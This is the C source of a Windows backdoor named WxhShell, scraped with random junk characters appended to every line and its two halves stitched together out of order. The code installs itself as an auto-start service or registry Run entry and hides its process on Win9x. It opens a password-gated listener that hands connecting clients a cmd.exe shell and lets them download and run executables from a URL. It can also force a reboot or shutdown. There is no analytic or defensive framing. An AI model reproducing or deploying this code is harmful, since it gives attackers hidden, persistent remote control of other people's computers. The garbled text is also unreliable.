    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B@Co'DV[/]  
    else { \e=_ 2^v!_  
    closesocket(wsh); pD"vRbYF  
    ExitThread(0); f8 /'%$N  
    } !9*c8bL D  
    break; A*h{Lsx;  
    } i LBvGZ<9  
  // 获取shell +.B<Hd  
  case 's': { t9gfU5?  
    CmdShell(wsh); #$~ba %t9%  
    closesocket(wsh); a`9L,8Ve  
    ExitThread(0); }TRAw#h  
    break; eO=s-]mk  
  } h+.{2^x  
  // 退出 =rA~7+}  
  case 'x': { /gcEw!JS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `cz2DR-"  
    CloseIt(wsh); KAA-G2%M  
    break; n>3U_yt6b  
    } V!%jf:k  
  // 离开 ^{$FI`P  
  case 'q': { F+ <Z<q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MiT}L  
    closesocket(wsh); v dbO(  
    WSACleanup(); .9*wY0:  
    exit(1); -hcS]~F  
    break; ]G.%Ty  
        } ',3HlOJ:  
  } gwrYLZNGI  
  } p;)"  
XLk<*0t p  
  // 提示信息 2I3h M D0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \?>Hu v  
} @53k8  
  } 1Q;}z Hd  
z't? ?6  
  return; .xzEAu;  
} {u{@ jp  
@}_WE,r  
// shell模块句柄 8bK|:B#6,  
int CmdShell(SOCKET sock) N- e$^pST  
{ vr#+0:|  
STARTUPINFO si; -&82$mj  
ZeroMemory(&si,sizeof(si)); T J^u"j-'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dF0,Y?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a)Q!'$"'  
PROCESS_INFORMATION ProcessInfo; |yyO q  
char cmdline[]="cmd"; %+ 7p lM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^m#-9-`  
  return 0; R_] {2~J+  
} iUMY!eqp  
K/m3  
// 自身启动模式 VUTacA Y>L  
int StartFromService(void) ?7:KphFX)  
{ mS>xGtD&K  
typedef struct -aRU]kIf  
{ :.(;<b<\  
  DWORD ExitStatus; uZa9zs=} c  
  DWORD PebBaseAddress; I{JU-J k|  
  DWORD AffinityMask; 4p%A8%/q  
  DWORD BasePriority; bn 6WjJ~Z+  
  ULONG UniqueProcessId; J{[n?/A{  
  ULONG InheritedFromUniqueProcessId; 7e7 M@8+4  
}   PROCESS_BASIC_INFORMATION; =/<LSeLxH  
T@}|zDC#  
PROCNTQSIP NtQueryInformationProcess; .)1_Ew  
hPq%L c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kdz=ltw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -?]W*f  
#QCphhG  
  HANDLE             hProcess; &1%q"\VI  
  PROCESS_BASIC_INFORMATION pbi; zX5!vaEv  
[' z[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7\_o.(g#-  
  if(NULL == hInst ) return 0; 4tg<iH{  
XxHx:mi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bNT9 H`P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l1ZY1#%j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PcB_oG g  
f >BWG`  
  if (!NtQueryInformationProcess) return 0; F4=}}k U  
|+  N5z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )9,  
  if(!hProcess) return 0; ys_`e  
B1]bRxwn?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  zYXV;  
f}guv~K  
  CloseHandle(hProcess); =U|N=/y#hJ  
1+b{}d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '|;X0fD  
if(hProcess==NULL) return 0; 'mI'dG  
|AZg*T3:W  
HMODULE hMod; yA{W  
char procName[255]; zf3v5Hk  
unsigned long cbNeeded; yH][(o=2  
dEBcfya  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2VW}9O  
Kn+S,1r  
  CloseHandle(hProcess); "CiTa>x  
]weoTn:  
if(strstr(procName,"services")) return 1; // 以服务启动 NvM*h%ChM  
.ROznCe}  
  return 0; // 注册表启动 v}WR+)uFQ  
} :Hxv6  
.^J2.>.  
// 主模块 MX>[^}n  
int StartWxhshell(LPSTR lpCmdLine) `1:{0p2q  
{ *<1r3!  
  SOCKET wsl; @aJ!PV'ms  
BOOL val=TRUE; L(GjZAP  
  int port=0; j*xV!DqC  
  struct sockaddr_in door; `y#UJYXQE  
3D?s L!W  
  if(wscfg.ws_autoins) Install(); %s19KGpA  
z;@*r}H  
port=atoi(lpCmdLine); 9Fn\FYUq  
! 8`3GX:B_  
if(port<=0) port=wscfg.ws_port; SkU9ON   
0M\D[ mg  
  WSADATA data; j,]Y$B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RK w$-7O  
UGK*Gy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   % `Z! 4L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NnVnUgx  
  door.sin_family = AF_INET; (sWLhUgRX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G[jW<'f  
  door.sin_port = htons(port); iQ{G(^sZN  
\"hJCP?,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A!^q J#  
closesocket(wsl); &^ 4++  
return 1; z3?o|A}/W  
} w3jO6*_ M  
vq34/c^  
  if(listen(wsl,2) == INVALID_SOCKET) { =B. F;4 0  
closesocket(wsl); j65<8svl  
return 1; I%urz!CNE*  
} U*.0XNKp{  
  Wxhshell(wsl);  }-~l!  
  WSACleanup(); s&'QN=A  
\W1/p`  
return 0; [9:9Ql_h  
$.]l!cmi%Q  
} 86nN"!{l:  
arf8xqR-U]  
// 以NT服务方式启动 +^;JS3p@\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T0]MuIJ).  
{ _V`DWR *  
DWORD   status = 0; JU&+c6>  
  DWORD   specificError = 0xfffffff; tDUwy^j  
?6'rBH/w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rj!0GI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #c2ymQm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `p+Zz"/  
  serviceStatus.dwWin32ExitCode     = 0; ToYAW,U[d  
  serviceStatus.dwServiceSpecificExitCode = 0; 47J5oPT2'  
  serviceStatus.dwCheckPoint       = 0; $\9~)Rq6  
  serviceStatus.dwWaitHint       = 0; 8V~vXnkM  
%D *OO{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dd` Mv$*d8  
  if (hServiceStatusHandle==0) return; &r:7g%{n  
/Z7iLq~t"G  
status = GetLastError(); }f2r!7:x  
  if (status!=NO_ERROR) U(x]O/m  
{ m8.U &0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2 3gPbtq/  
    serviceStatus.dwCheckPoint       = 0; .9.2Be  
    serviceStatus.dwWaitHint       = 0; .YuJJJv  
    serviceStatus.dwWin32ExitCode     = status; "Wx]RN:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~g.$|^,.O/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kBN+4Dr/$  
    return; n?V+dC=F}  
  } -lv)tHs<  
K$d$m <  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R4-~jgzx  
  serviceStatus.dwCheckPoint       = 0; tsk)zP,<  
  serviceStatus.dwWaitHint       = 0; !F?XLekTi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }\C-} Q  
} &\_iOw8  
4!KoFoZt*  
// 处理NT服务事件,比如:启动、停止 =JmT:enV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {p,]oOq\  
{ 3 h<,  
switch(fdwControl) Dwzg/F(  
{ jVq(?Gc  
case SERVICE_CONTROL_STOP: l} qE 46EL  
  serviceStatus.dwWin32ExitCode = 0; ^b %0 B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /7 Cn(s5o  
  serviceStatus.dwCheckPoint   = 0; Q%f|~Kl-hd  
  serviceStatus.dwWaitHint     = 0; <m'ow  
  { M8u<qj&<O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N?.%?0l  
  } 9+pmS#>_  
  return; A= w9V  
case SERVICE_CONTROL_PAUSE: Si~vDQ7"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ar=PmYV7  
  break; ]~3U  
case SERVICE_CONTROL_CONTINUE: N;[>,0&z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1x,tu}<u^  
  break; +sJrllrE(  
case SERVICE_CONTROL_INTERROGATE: zen*PeIrA^  
  break; +U@<\kIF  
}; ZzX~&95G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n?c]M  
} twx[ s$O'b  
& GreN  
// 标准应用程序主函数 @/1w4'M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iJ~Vl"|m  
{ D:K4H+ch  
nWHa.H#  
// 获取操作系统版本 Km^&<3ch#  
OsIsNt=GetOsVer(); ,\@O(; mF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c ;'[W60  
Y3=_ec3w  
  // 从命令行安装 <wAFy>7  
  if(strpbrk(lpCmdLine,"iI")) Install(); `ta7Gc/:UY  
l(Q?rwI8Y  
  // 下载执行文件 !3ctB3eJ  
if(wscfg.ws_downexe) { Exk\8,EGqS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $r3i2N-I  
  WinExec(wscfg.ws_filenam,SW_HIDE); F_4n^@M  
}  ^k\e8F/  
nakYn  
if(!OsIsNt) { YtWJX kB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~#/hzS  
HideProc(); C7O6qpO  
StartWxhshell(lpCmdLine); /Js7`r=Rx  
} CH<E,Z C1T  
else b?'yAXk  
  if(StartFromService()) +j4"!:N}B  
  // 以服务方式启动 'f?$"U JF  
  StartServiceCtrlDispatcher(DispatchTable); RZCq{|L  
else SZXY/~=h  
  // 普通方式启动 pn^ d]rou?  
  StartWxhshell(lpCmdLine); rX1QMR7?  
nt@aYXK4|  
return 0; |.3DD"*  
} S)/_muP  
to$h2#i_  
a.zpp'cEb  
\~_9G{2?  
=========================================== ,#kIr  
pt}X>ph{  
WH \)) y-  
VzKW:St  
10U9ZC  
Qg<(u?7N  
" YGsWu7dG  
d09k5$=gJ  
#include <stdio.h> cx0*X*  
#include <string.h> GbaEgA'fa  
#include <windows.h> Y"wUt &  
#include <winsock2.h> j ku}QM^  
#include <winsvc.h> qZA).12qS  
#include <urlmon.h> `FC(  
Kc^;vT>3  
#pragma comment (lib, "Ws2_32.lib") *C:|X b<9  
#pragma comment (lib, "urlmon.lib") +PuPO9jKO@  
#&7}-"Nd  
#define MAX_USER   100 // 最大客户端连接数 2m2;t0  
#define BUF_SOCK   200 // sock buffer TG5XSy  
#define KEY_BUFF   255 // 输入 buffer P->y_4O  
]:~OG@(  
#define REBOOT     0   // 重启 J":,Vd!*-  
#define SHUTDOWN   1   // 关机 ,kn"> k9  
'u1?tQ=gmk  
#define DEF_PORT   5000 // 监听端口 Ez-[ )44/  
X7g1:L1Ys  
#define REG_LEN     16   // 注册表键长度 G"XVn~]  
#define SVC_LEN     80   // NT服务名长度 d8x\  
RSfzRnhmr  
// 从dll定义API qm8&*UuKJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +@/"%9w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |UxG$M(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `WH"%V:"Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8zR~d%pK  
k'5?M  
// wxhshell配置信息 ksN+ ?E4w  
struct WSCFG { UQI]>#_/v  
  int ws_port;         // 监听端口 WpRc)g :  
  char ws_passstr[REG_LEN]; // 口令 PuZf/um  
  int ws_autoins;       // 安装标记, 1=yes 0=no iS<I0\D  
  char ws_regname[REG_LEN]; // 注册表键名  MEGv}  
  char ws_svcname[REG_LEN]; // 服务名 O~^"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Os1>kwC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \9g+^vQg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *NClfkZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9& 83n(m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G JqJlgHe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wD]/{ jw  
s=QAO!aw  
}; i0$kit  
)}?#  
// default Wxhshell configuration A?pbWt ~}  
struct WSCFG wscfg={DEF_PORT, Uh):b%bS;J  
    "xuhuanlingzhe", 9 o&`5  
    1, rq/I` :  
    "Wxhshell", KW^7H  
    "Wxhshell", y;o^- O  
            "WxhShell Service", &Ob!4+v/GP  
    "Wrsky Windows CmdShell Service", .ODR]7{  
    "Please Input Your Password: ", q*7VqB  
  1, 5w@4:$=I  
  "http://www.wrsky.com/wxhshell.exe", ] A+?EE2/  
  "Wxhshell.exe" d>t<_}  
    }; I]EbodAyZ,  
07^iP>?  
// 消息定义模块 ptZ <ow&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?TKRjgW`@_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yLQ*"sw\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x-?Sn' m  
char *msg_ws_ext="\n\rExit."; Cy=Hy@C  
char *msg_ws_end="\n\rQuit."; rMhB9zB1  
char *msg_ws_boot="\n\rReboot..."; pxh"B\"4*  
char *msg_ws_poff="\n\rShutdown..."; csW43&  
char *msg_ws_down="\n\rSave to "; L=sYLC6d  
Nu?-0>  
char *msg_ws_err="\n\rErr!"; K%RxwM  
char *msg_ws_ok="\n\rOK!"; # a8B/-  
 VN\W]jT  
char ExeFile[MAX_PATH]; @-!}BUs?  
int nUser = 0; suzZdkMA  
HANDLE handles[MAX_USER]; 65aK2MS@  
int OsIsNt; %YC_Se7  
1BpiV-]=  
SERVICE_STATUS       serviceStatus; hj.a&%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b KN@j'M  
j?x>_#tIY  
// 函数声明 +yD`3` E  
int Install(void); <,e+ kL{  
int Uninstall(void); "\o+v|;  
int DownloadFile(char *sURL, SOCKET wsh); -RvQB  
int Boot(int flag); cLsV`@J(k  
void HideProc(void); m~-K[+ya`D  
int GetOsVer(void); m1M t#@,$  
int Wxhshell(SOCKET wsl); 1R1 z  
void TalkWithClient(void *cs); n' q4  
int CmdShell(SOCKET sock); S9~ +c  
int StartFromService(void); GfmI<{da  
int StartWxhshell(LPSTR lpCmdLine); ei[j1F  
/*X2c6<d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I ,z3xU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =aBctd:eX`  
ne_TIwfw-  
// 数据结构和表定义 t~#zMUfac  
SERVICE_TABLE_ENTRY DispatchTable[] = UZJCvfi  
{ /! "|_W|n  
{wscfg.ws_svcname, NTServiceMain}, "Pu!dJ5[]  
{NULL, NULL} f>UXD  
}; E(8* pI  
m;GbLncA  
// 自我安装 8)10o,#L  
int Install(void) rFj-kojg  
{ vPTM  
  char svExeFile[MAX_PATH]; |w<H!lGe!$  
  HKEY key; 2;DuHO1  
  strcpy(svExeFile,ExeFile); D)m5  
M$>1L  
// 如果是win9x系统,修改注册表设为自启动 3 +G$-ru  
if(!OsIsNt) { rp!oO>F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4hTMbS_;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C,ARXW1  
  RegCloseKey(key); \1fN0e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {^7Hgg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5BlR1*  
  RegCloseKey(key); ?7.7`1m !v  
  return 0; eOs)_?}  
    } H?&Mbw d  
  } 3 I@}my1  
} O06"bi5Y  
else { ]dGw2y  
lTV'J?8!-a  
// 如果是NT以上系统,安装为系统服务 CkoL TY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Q/4bJpd  
if (schSCManager!=0) mUdOX7$c>  
{ 0"\H^  
  SC_HANDLE schService = CreateService @M_oH:GV  
  ( hPUYyjXPB  
  schSCManager, "NXB$a!:  
  wscfg.ws_svcname, IDB+%xl#S  
  wscfg.ws_svcdisp, 2ZG5<"DQ"  
  SERVICE_ALL_ACCESS, [f1 (`<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _lGdUt 2  
  SERVICE_AUTO_START, |yQZt/*SOZ  
  SERVICE_ERROR_NORMAL, C1m]*}U  
  svExeFile, I+[>I=ewa  
  NULL, T>2[=J8U  
  NULL, B"TAjB& *  
  NULL, P(,p'I;j  
  NULL, ZaV8qAsP  
  NULL ['B?i1 .  
  ); N343qU  
  if (schService!=0) Py@wJEo  
  { OZ |IA:,}  
  CloseServiceHandle(schService);  a1t4Dd  
  CloseServiceHandle(schSCManager); P3)Nl^/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X\@C.H2ttY  
  strcat(svExeFile,wscfg.ws_svcname); / zB0J?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =/y]d<g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a1+#3X.  
  RegCloseKey(key); X[PZg{   
  return 0; 2[ RoxKm  
    } %.^_Ps0  
  } T_@K& <  
  CloseServiceHandle(schSCManager); @` 1Ds  
} *E/`KUG]  
} {=!b/l;@  
QLEKsX7p>  
return 1; ktFhc3);!  
} k@f g(}6  
p?) ;eJtV/  
// 自我卸载 %_RQx2  
int Uninstall(void)  D#il*  
{ /H(? 2IHC  
  HKEY key; a!< 8\vzg  
si`A:14R  
if(!OsIsNt) { ,9}h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ES.fOdx  
  RegDeleteValue(key,wscfg.ws_regname); ZniB]k1  
  RegCloseKey(key);  -QM: q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _wkVwPr  
  RegDeleteValue(key,wscfg.ws_regname); v/68*,z[  
  RegCloseKey(key); q Gw -tPD<  
  return 0; g X ]-\  
  } 5_I->-<  
} b&~4t/Vq  
} ]b7zJUz  
else { 6K-_pg]  
r@+ri1c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OWjk=u2Lz  
if (schSCManager!=0) p?7v$ev_  
{ 5NS[dQG5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~sl{|E  
  if (schService!=0) =vDEfO/T  
  { Rs-]N1V  
  if(DeleteService(schService)!=0) { "a ueL/dgN  
  CloseServiceHandle(schService); F)&@P-9+  
  CloseServiceHandle(schSCManager); aY'C%^h]  
  return 0; ]iN'x?Fo  
  } #{?PbBE}  
  CloseServiceHandle(schService); P9^-6;'Y  
  } trPAYa}W  
  CloseServiceHandle(schSCManager); uxtWybv  
} 7n8~K3~;  
} _=Z,E.EN  
Xjo5v*Pu  
return 1; kP#B5K_U|  
} z3&]%Q&  
M dZ&A}S  
// 从指定url下载文件 3D!5T8 @  
int DownloadFile(char *sURL, SOCKET wsh) AsAT_yv#  
{ 2XFU1 AW  
  HRESULT hr; <j*;.yyC  
char seps[]= "/"; iOR_[y,  
char *token; F(k.,0Nc  
char *file; !MYSfPdS  
char myURL[MAX_PATH]; zLD0RBj7p  
char myFILE[MAX_PATH]; T (OW  
v, n$^R  
strcpy(myURL,sURL); /<@SFF.  
  token=strtok(myURL,seps); *c~T@m~DR  
  while(token!=NULL) !46RGU:I  
  { { /K.3  
    file=token; WN{ 9  
  token=strtok(NULL,seps); cik!GA  
  } Pz>s6 [ob  
!c}O5TI|#  
GetCurrentDirectory(MAX_PATH,myFILE); Hyb3 ;yQ  
strcat(myFILE, "\\"); _/uFsYC  
strcat(myFILE, file); K/tRe/t }  
  send(wsh,myFILE,strlen(myFILE),0); 6-yd]("  
send(wsh,"...",3,0); "U!AlZ`g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WG N=Y~E  
  if(hr==S_OK) lD^]\;?  
return 0; =yr0bGy`-  
else y4*U6+#.  
return 1; pP*zq"o  
IE;~?W"  
} A?CcHw rT  
f!oT65Vmi  
// 系统电源模块 %+8F'&X  
int Boot(int flag) P_?gq>E8  
{ ,TXTS*V?  
  HANDLE hToken; W3IpHV  
  TOKEN_PRIVILEGES tkp; C ~<'rO}|  
c(:f\Wc3Z  
  if(OsIsNt) { @ zs'Y8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^T ?RK "p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U]^HjfX\  
    tkp.PrivilegeCount = 1; 8TGOx%}i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DF1I[b=]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SH_(rQby  
if(flag==REBOOT) { zm]aU`j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Mf!-g  
  return 0; BGOuDKz9C  
} v1BDP<qU2  
else { jT8#C=a7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e\Y*F  
  return 0; mz @T  
} 3Mxp)uG/  
  } ]Y2RqXA*  
  else { $nb[G$  
if(flag==REBOOT) { 3a?o3=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *+j* {>E  
  return 0; HG+%HUO$  
} ]bj&bk#  
else { "OQ^U_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) plb!.g  
  return 0; rM .|1(u  
} O\E/. B  
} tE@;X=  
&j4xgh9  
return 1; a= DcZ_M  
} #0ETY\}ZD  
S{;sUGcu  
// win9x进程隐藏模块 Pl=ZRKn  
void HideProc(void) f0X_fm_q  
{ bn^{c  
t?}zdI(4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Po ZuMF  
  if ( hKernel != NULL ) -u2P ?~  
  { SS$[VV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &d"G/6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .WPV dwV4U  
    FreeLibrary(hKernel); =R#Qx,  
  } M[6:p2u  
{$R' WXVs  
return; IB[)TZ2m  
} i'9vL:3  
~~v3p>zRr  
// 获取操作系统版本 ?Lyxw]  
int GetOsVer(void) :?/cPg'D  
{ @&X|5p"[g  
  OSVERSIONINFO winfo; -7S g62THS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ezr:1 GJ  
  GetVersionEx(&winfo); /lo2y?CS*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k 9L? +PD  
  return 1; U@-^C"R  
  else GH+r ?2<  
  return 0; }o L'8-y  
}  ~ ip,Nl  
S-k8jm  
// 客户端句柄模块 K{[%7AM  
int Wxhshell(SOCKET wsl) '7+4`E  
{ bsB*533  
  SOCKET wsh; :/ Q   
  struct sockaddr_in client; \~fONBY  
  DWORD myID; {5F-5YL+>  
^ q<v{_  
  while(nUser<MAX_USER) :a$\/E=  
{ ~nrK>%  
  int nSize=sizeof(client); 0URji~?|x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c&AygqN  
  if(wsh==INVALID_SOCKET) return 1; (CsD*U`h  
qMLD)rL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dR"@`  
if(handles[nUser]==0) d5oIH  
  closesocket(wsh); '=Rs/EDME  
else z"0I>gl  
  nUser++; 8Le||)y,\  
  } (>r[- Bft  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Cq%IE^g<  
)rekY;  
  return 0; <$X3Hye  
} BZR:OtR^  
nPye,"A Ol  
// 关闭 socket O*0l+mop  
void CloseIt(SOCKET wsh) YhDtUt}?  
{ 8=gjY\Dp  
closesocket(wsh); sOU1n  
nUser--; !"\80LP  
ExitThread(0); J[4mL U  
} i70w rW#k  
\=6l9Lrj>h  
// 客户端请求句柄  \4v]7SV  
void TalkWithClient(void *cs) yt.F\[1  
{ ~zJ?H<>  
Ib+Y~ XYR  
  SOCKET wsh=(SOCKET)cs; V+VkY3  
  char pwd[SVC_LEN]; 4<k9?)~(J  
  char cmd[KEY_BUFF]; /+@p7FqlE  
char chr[1]; maXG:l|  
int i,j; ;4.!H,d  
4A_[PM  
  while (nUser < MAX_USER) { ZuS0DPS`L  
#6+@M  
if(wscfg.ws_passstr) { vTJ}8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %k'!Iq+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c.>oe*+  
  //ZeroMemory(pwd,KEY_BUFF); :TJv=T'p'  
      i=0; jO!y_Y]B  
  while(i<SVC_LEN) { O"F_*  
R}q>O5O  
  // 设置超时 r\/9X}y4z  
  fd_set FdRead; uf&myV7  
  struct timeval TimeOut; [%77bv85.G  
  FD_ZERO(&FdRead); x "^Xj]-  
  FD_SET(wsh,&FdRead); NhaI<J  
  TimeOut.tv_sec=8; m]5Cq6  
  TimeOut.tv_usec=0; F.w 5S!5Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G>1eFBh }  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F W/W%^  
STxKE %l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9J9)AV  
  pwd=chr[0]; fjs [f'L  
  if(chr[0]==0xd || chr[0]==0xa) { Q\ U:~g3  
  pwd=0; iZaI_\"__  
  break; !f&Kf,#b`  
  } ?kB2iU_f+  
  i++; N4L|;?  
    } ^eR%N8Z  
j^^Ap  
  // 如果是非法用户,关闭 socket DDPxmuNG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hvDNz"ec{  
} `kZ@Zmj#  
3td)'}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]>~)<   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = c>Qx"Sw  
?34 e-  
while(1) { Z; A`oKd  
<;#~l*  
  ZeroMemory(cmd,KEY_BUFF); &!/}Qp  
Qzlo'e1  
      // 自动支持客户端 telnet标准   Axe8n1*y  
  j=0; SRrw0&ts  
  while(j<KEY_BUFF) { @@8J6*y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^xij{W`|  
  cmd[j]=chr[0]; nij!1z|M  
  if(chr[0]==0xa || chr[0]==0xd) { D"J!\_o  
  cmd[j]=0; X_$Cb<e  
  break; +YqZ ((  
  } $CY't'6Hn  
  j++; 6y6<JR-V2k  
    } ~:3QBMk::  
DsT>3  
  // 下载文件 , ]+z)   
  if(strstr(cmd,"http://")) { \hM|(*DL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bc6|n :;u  
  if(DownloadFile(cmd,wsh)) }RwSp!}C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i1>- QDYnJ  
  else DRc)iE>@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; =X P&  
  } 2UFv9  
  else { /4 vG3  
:1iqT)&|8F  
    switch(cmd[0]) { wYQ&C{D%  
  J,AR5@)1  
  // 帮助 _c, '>aH=  
  case '?': { +=.W<b  
